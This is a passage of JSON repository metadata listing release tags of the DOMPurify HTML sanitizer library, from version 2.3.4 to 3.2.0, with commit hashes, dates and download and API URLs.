/3.2.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.2.0/manifests"},{"name":"3.1.7","sha":"69c8c12940dbf98aef5f44eea77151e1aef532dc","kind":"commit","published_at":"2024-09-26T11:07:13.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.7/manifests"},{"name":"2.5.7","sha":"71683cb29a6ce35938f2cd1f48fd9e2af2fff10c","kind":"commit","published_at":"2024-09-26T10:18:18.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.7/manifests"},{"name":"3.1.6","sha":"4083a9096be35cfe5b569abd21e500f43b39e294","kind":"commit","published_at":"2024-07-05T10:30:51.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.6/manifests"},{"name":"2.5.6","sha":"d78f24171d7e1e6c20d8d6f496c8f8f66efb1ca3","kind":"commit","published_at":"2024-07-05T10:12:03.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.6/manifests"},{"name":"3.1.5","sha":"6676133b2ba2fe02346a4794a712e5ec2c3539a0","kind":"commit","published_at":"2024-05-31T09:04:49.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.5/manifests"},{"name":"2.5.5","sha":"de2545c445baa47d4aa40ece463ecf3a7688125e","kind":"commit","published_at":"2024-05-31T08:36:39.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.5/manifests"},{"name":"3.1.4","sha":"7517e9c475dbc1c7f8535a60f17bb55aabd52ba6","kind":"commit","published_at":"2024-05-20T11:11:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.4/manifests"},{"name":"2.5.4","sha":"10c12610b15875ea09129c35fca28a886857434f","kind":"commit","published_at":"2024-05-19T11:41:56.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.4/manifests"},{"name":"2.5.3","sha":"e1ddfc7b5e6d6599c369f826699b0204e2c691b9","kind":"commit","published_at":"2024-05-11T10:17:55.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.3/manifests"},{"name":"3.1.3","sha":"3fe78d7501103832166613bb1452985dd4674008","kind":"commit","published_at":"2024-05-11T10:01:24.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.3/manifests"},{"name":"3.1.2","sha":"5b2e3171e403535656270e3aa1842ff030f136e4","kind":"commit","published_at":"2024-04-30T08:07:15.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.2/manifests"},{"name":"2.5.2","sha":"d299fccd846a15e1724dd673d02ca2de0a442de2","kind":"commit","published_at":"2024-04-30T07:51:41.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.2/manifests"},{"name":"3.1.1","sha":"7a0a984a8aea7341ce084f72cda806e2395b336b","kind":"commit","published_at":"2024-04-26T10:55:38.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.1/manifests"},{"name":"2.5.1","sha":"f275c0b719026501f80d383af942bda921cdf300","kind":"commit","published_at":"2024-04-26T10:47:25.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.1/manifests"},{"name":"2.5.0","sha":"7f6cf8a7590ddb4fbc2e914d42544ed2dcf1c4cd","kind":"commit","published_at":"2024-04-07T12:04:04.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.5.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.5.0/manifests"},{"name":"3.1.0","sha":"db19269d8f9029cba78eabc9d6b52e73c31702ad","kind":"commit","published_at":"2024-04-07T12:03:16.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.1.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.1.0/manifests"},{"name":"2.4.9","sha":"79cfb378f326e6d92574e784ea19500e29dd4c38","kind":"commit","published_at":"2024-03-21T10:00:39.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.9/manifests"},{"name":"3.0.10","sha":"f2b637fc8418b14214a9e4b5e4693a33a9077f4e","kind":"commit","published_at":"2024-03-19T11:06:05.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.10","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.10/manifests"},{"name":"3.0.11","sha":"f2b637fc8418b14214a9e4b5e4693a33a9077f4e","kind":"commit","published_at":"2024-03-19T11:06:05.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.11","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.11/manifests"},{"name":"2.4.8","sha":"416ba67433df765ba4de2ff1138d7e24eb0eb06a","kind":"commit","published_at":"2024-03-19T10:58:14.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.8/manifests"},{"name":"3.0.9","sha":"699b1c94cdf9044df3eba3b26574ab020ab36dc4","kind":"commit","published_at":"2024-02-20T14:20:52.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.9/manifests"},{"name":"3.0.8","sha":"ec1346a8dcf52471276b84bdf4180d3059a00c57","kind":"commit","published_at":"2024-01-05T16:40:13.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.8/manifests"},{"name":"3.0.7","sha":"aa2c561415e684f0e1e3cff57c8b1102edaa4dd4","kind":"commit","published_at":"2024-01-03T12:03:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.7/manifests"},{"name":"3.0.6","sha":"1b864e746bb73ad4990bf02f1e1d924151c25a3b","kind":"commit","published_at":"2023-09-28T08:22:00.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.6/manifests"},{"name":"3.0.5","sha":"c96c9df61f1070146c0c13078e85b33d8fed3e51","kind":"commit","published_at":"2023-07-11T07:59:34.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.5/manifests"},{"name":"2.4.7","sha":"ef731c0bab8ff102edbb3d121ab7c1995cc372b4","kind":"commit","published_at":"2023-07-11T07:39:53.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.7","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.7/manifests"},{"name":"3.0.4","sha":"177736320e6f34ab007f640fdb29529ced7bd392","kind":"commit","published_at":"2023-06-29T16:02:01.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.4/manifests"},{"name":"2.4.6","sha":"5b7dff926464caa98481eb693861735194940b5d","kind":"commit","published_at":"2023-06-29T15:47:07.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.6/manifests"},{"name":"3.0.3","sha":"c70f8c57e60d2b4eb29d560682e7832febd62eaa","kind":"commit","published_at":"2023-05-06T12:22:41.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.3/manifests"},{"name":"3.0.2","sha":"671167b9f6af6502080a946655d9118c4fc4818b","kind":"commit","published_at":"2023-04-14T17:01:31.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.2/manifests"},{"name":"3.0.1","sha":"e42464f0e06ab5899aae41c89920be9af8b2e826","kind":"commit","published_at":"2023-02-26T15:28:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.1/manifests"},{"name":"2.4.5","sha":"f464d957f24c48ec00076ee0d26694e3fd6c0387","kind":"commit","published_at":"2023-02-26T15:25:33.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.5/manifests"},{"name":"3.0.0","sha":"5dcf2a012c70ea8b65c0ecff7de86a61d7d98181","kind":"commit","published_at":"2023-02-13T16:34:36.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/3.0.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/3.0.0/manifests"},{"name":"2.4.4","sha":"fa4e8ee15042d3ff289f827145fd69a216a70aef","kind":"commit","published_at":"2023-02-13T16:32:41.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.4/manifests"},{"name":"2.4.3","sha":"90326ef9134a35e0f9dc71129784d2145a220961","kind":"commit","published_at":"2023-01-06T14:12:27.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.3","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.3/manifests"},{"name":"2.4.2","sha":"d1dd0374caef2b4c56c3bd09fe1988c3479166dc","kind":"commit","published_at":"2023-01-05T15:32:31.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.2","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.2/manifests"},{"name":"2.4.1","sha":"67f784cfc3f6ae0b98a4a9fd4b3e94ea16f90967","kind":"commit","published_at":"2022-11-10T13:52:45.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.1","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.1/manifests"},{"name":"2.4.0","sha":"5f8e875f4d01cffb8617d5999d9345417bdeb8bc","kind":"commit","published_at":"2022-08-24T17:32:29.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.4.0","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.4.0/manifests"},{"name":"2.3.12","sha":"caaae5ed3206082299518351da1c3fd1a66532f0","kind":"commit","published_at":"2022-08-23T15:36:31.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.12","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.12/manifests"},{"name":"2.3.11","sha":"30af6c8dbb9c0fa6c450b5ed0352175a031a18f9","kind":"commit","published_at":"2022-08-23T09:16:39.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.11","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.11/manifests"},{"name":"2.3.10","sha":"aedec31d54965e82f75a267096e2f03fec96cdb2","kind":"commit","published_at":"2022-07-18T13:00:58.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.10","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.10/manifests"},{"name":"2.3.9","sha":"52c8eb11bc2c00dd95a46708ffa518fdbea6d60c","kind":"commit","published_at":"2022-07-11T12:19:19.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.9","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.9/manifests"},{"name":"2.3.8","sha":"dc6db2c34727a8dd2a9c678cc64c5602d1ac6e94","kind":"commit","published_at":"2022-05-13T13:51:10.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.8","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.8/manifests"},{"name":"2.3.6","sha":"c84f6e4bb87b05f68ccf0ab471c97b80955779e9","kind":"commit","published_at":"2022-02-16T07:16:18.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.6","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.6/manifests"},{"name":"2.3.5","sha":"8eab0ac78cdd59fd089e2c6f173880465f45da6a","kind":"commit","published_at":"2022-01-26T14:00:17.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.5","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.5/manifests"},{"name":"2.3.4","sha":"fff1bd56ba984c7bc24ff9445b39ad775a00857e","kind":"commit","published_at":"2021-12-07T14:27:31.000Z","download_url":"https://codeload.github.com/cure53/DOMPurify/tar.gz/2.3.4","html_url":"https://github.com/cure53/DOMPurify/releases/tag/2.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/cure53/DOMPurify@2.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cure53%2FDOMPurify/tags/2.3.4/m